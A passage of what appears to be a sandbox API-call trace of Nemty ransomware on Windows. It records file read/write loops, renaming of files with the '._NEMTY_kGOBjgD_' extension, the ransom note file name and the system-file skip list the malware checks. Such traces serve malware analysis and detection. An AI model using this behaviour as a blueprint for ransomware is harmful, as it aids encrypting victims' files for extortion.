lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.075] CloseHandle (hObject=0xffffffff) returned 0 [0146.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0146.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0146.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0146.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404d8 [0146.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0146.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png._nemty_kgobjgd_")) returned 0 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.075] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98fe5b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x98fe5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x98fe5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0146.075] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0146.076] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0146.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401d8 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.077] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98fe5b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x98fe5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x98fe5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0146.077] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0146.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0146.077] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0146.077] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0146.078] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0146.078] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0146.078] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0146.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, 